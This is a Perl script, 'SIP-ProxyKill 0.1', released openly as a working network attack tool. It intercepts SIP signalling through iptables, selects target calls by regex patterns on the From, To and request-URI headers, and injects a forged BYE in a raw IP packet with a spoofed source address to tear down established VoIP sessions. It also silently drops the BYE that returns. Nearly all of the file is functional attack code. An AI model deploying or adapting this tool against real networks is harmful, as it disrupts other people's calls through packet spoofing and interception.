#!/usr/bin/perl
# SIP-ProxyKill 0.1
# Tears down a SIP-Session at the last proxy before the opposite endpoint in
# the signaling path.
#
# Copyright (C) 2005 Thomas Skora
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# WARNING:
# There exist many buggy NetPacket::IP installations, where the IP checksum
# is not correctly calculated!!!
#
# Changelog:
# 0.1: first release
#
# TODO:
# - just support for port 5060

use Getopt::Std;
use NetPacket::IP;
use NetPacket::UDP;
use Net::RawIP;
use IPTables::IPv4::IPQueue qw(:constants);
use Digest::MD5 qw(md5_base64);

sub HELP_MESSAGE {
  print <<EOH
  Usage: sip-proxykill [options] [From-Pattern] [To-Pattern] [Request-URI-Pattern]

 -v  Be more verbose.
 -o  One pattern (OR-behaviour) instead of all (AND) must match.
 -b  Don't Discard returning BYE and answer with OK.

 The patterns are perl-flavoured regular expressions which are corresponding
 to the given headers. If one attribute should be ignored, use . (point) as
 pattern.
EOH
}


sub verbose {
  if ($opt_v) {
    print $_[0];
  }
}


sub raw_send {
  my ($fromip, $toip, $payload) = @_;

  my $ip = new Net::RawIP({
			ip => {
			       saddr => $fromip,
			       daddr => $toip
			      },
			udp => {
				source => 5060,
				dest => 5060,
				data => $payload
			       }
		       });
  $ip->send;
}


# construct signaling path and inject BYE at right position.
sub send_bye {
  my ($sip_pkt, $callid) = @_;
  my @route = ();
  my ($bye, $route);

  # construct signaling path from Route headers
  my ($from) = ($sip_pkt =~ /^To: (.*)$/m);
  my ($ftag) = ($from =~ /tag=([^;\n\r]*)/);
  my @sip_pkt = split /\n/, $sip_pkt;
  foreach my $sipline (@sip_pkt) {
    if ($sipline =~ /^Route:[ ]+(.*)$/m) { # find Route-headers
      my $rline = $1;
      $rline =~ s/ftag=.*?;/ftag=$ftag;/g;
      my @hops = split /,/, $rline; # many routes in one
      push @route, @hops;
    }
  }
  @route = reverse @route;
  my ($toip) = ($route[0] =~ /((?:\d{1,3}\.){3}\d{1,3})/);
  $invites{$callid}{byeto} = $toip;
  print "---> $toip\n";
  my ($requri) = ($sip_pkt =~ /^Contact:[ ]+<(.*?)>/m);
  my ($to) = ($sip_pkt =~ /^From: (.*)/m);
  foreach my $rline (@route) {
    $route .= "Route: $rline\n";
  }
  $route =~ s/FTAG/$ftag/g;
  $route =~ s/\n$//;		# last crlf is from previous line
  my ($contact) = $invites{$callid}{contact};
  (my $fromip) = ($contact =~ /\@([\d\.]+)/);
  my ($ua) = $invites{$callid}{ua};
  my $viabranch = md5_base64("$requri:$route:$callid:$from:$to");

  $bye = <<PACKET;
BYE $requri SIP/2.0
Via: SIP/2.0/UDP $fromip:5060;branch=z9hG4bK$viabranch;rport
$route
From: $from
To: $to
Call-ID: $callid
CSeq: 1 BYE
Max-Forwards: 70$ua
Contact: $contact
Content-Length: 0

PACKET
#  print "Generated BYE:\n$bye---\n";
  $bye =~ s/\n/\r\n/g;

  raw_send($fromip, $toip, $bye);
}


sub send_ok {
  my ($sip_pkt, $callid) = @_;

  
}


sub ipq_process {
  my $msg = $ipq->get_message() or die IPTables::IPv4::IPQueue->errstr;

  my $pkt = $msg->payload();
  my $ip_pkt = NetPacket::IP->decode($pkt);
  my $udp_pkt = NetPacket::UDP->decode($ip_pkt->{data});
  my $sip_pkt = $udp_pkt->{data};

  # some preprocessing
  $sip_pkt =~ s/\r//g;
  my @sip_pkt = split /\n/, $sip_pkt;

  verbose "From $ip_pkt->{src_ip}:$udp_pkt->{src_port} to $ip_pkt->{dest_ip}:$udp_pkt->{dest_port}: $sip_pkt[0]\n";

  my ($callid) = ($sip_pkt =~ /^Call-Id:[ ]*([^ ]+$)/mi); # extract call-id, which is used to identify call
  if ($sip_pkt[0] =~ /INVITE/) { # incoming INVITE-request: save it
  # selective attack
    if (!defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) && ($sip_pkt =~ /^To:.*$topat/mi) && ($sip_pkt =~ /^INVITE.*$reqpat/mi))) {
      if ($opt_v) { print "not matching\n" }
      $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
      return;
    }
    if (defined $opt_o && !(($sip_pkt =~ /^From:.*$frompat/mi) || ($sip_pkt =~ /^To:.*$topat/mi) || ($sip_pkt =~ /^INVITE.*$reqpat/mi))) {
      if ($opt_v) { print "not matching\n" }
      $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
      return;
    }

#   print "$callid\n";
    $invites{$callid} = {
			 saddr => $ip_pkt->{src_ip},
			 sport => $udp_pkt->{src_port},
			 daddr => $ip_pkt->{dest_ip},
			 dport => $udp_pkt->{dest_port},
			 state => 0
			};
    $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
    return;
  }

  if (!defined $invites{$callid}) {
    $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
    return;
  }				# no interesting packet

  if ($invites{$callid}{state} == 0) { # INVITE and nothing further received
    if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+2[0-9]{2}/) {	# ignore every response that never initiates session
      $invites{$callid}{state} = 1;
      (my $ua) = ($sip_pkt =~ /^(User-Agent: .*)/m);
      if (!$ua eq "") { $ua = "\n". $ua; }
      $invites{$callid}{ua} = $ua;
      ($invites{$callid}{contact}) = ($sip_pkt =~ /^Contact:.*?(<.*>)$/m);
    }
  }

  if ($invites{$callid}{state} == 1) { # wait for ACK from caller
    if ($sip_pkt[0] =~ /ACK/) {
      $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
      send_bye($sip_pkt, $callid);
      $invites{$callid}{state} = 2;
      return;
    }
  }

  if ($invites{$callid}{state} == 2) { # wait for BYE
    if ($sip_pkt[0] =~ /BYE/ && !($ip_pkt->{dest_ip} eq $invites{$callid}{byeto})) {
      verbose "Dropping back coming BYE!\n";
      $ipq->set_verdict($msg->packet_id, NF_DROP, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
      send_ok($sip_pkt, $callid);
      undef $invite{$callid};	# delete entry from INVITE list
      return;
    }
  }

  if ($sip_pkt[0] =~ /^SIP\/[0-9\.]+[ ]+[3-9][0-9]{2}/) { 	# 3xx-6xx causes new INVITE
    undef $invite{$callid};	# delete entry from INVITE list
  }

  $ipq->set_verdict($msg->packet_id, NF_ACCEPT, length $pkt, $pkt) or die IPTables::IPv4::IPQueue->errstr;
}


$Getopt::Std::STANDARD_HELP_VERSION = 1;
getopts('vob');

$frompat = $ARGV[0] || "";
$topat = $ARGV[1] || "";
$reqpat = $ARGV[2] || "";

$ipq = new IPTables::IPv4::IPQueue(copy_mode => IPQ_COPY_PACKET, copy_range => 65534) or die IPTables::IPv4::IPQueue->errstr;
while (1) {
  ipq_process();
}
$ipq->close()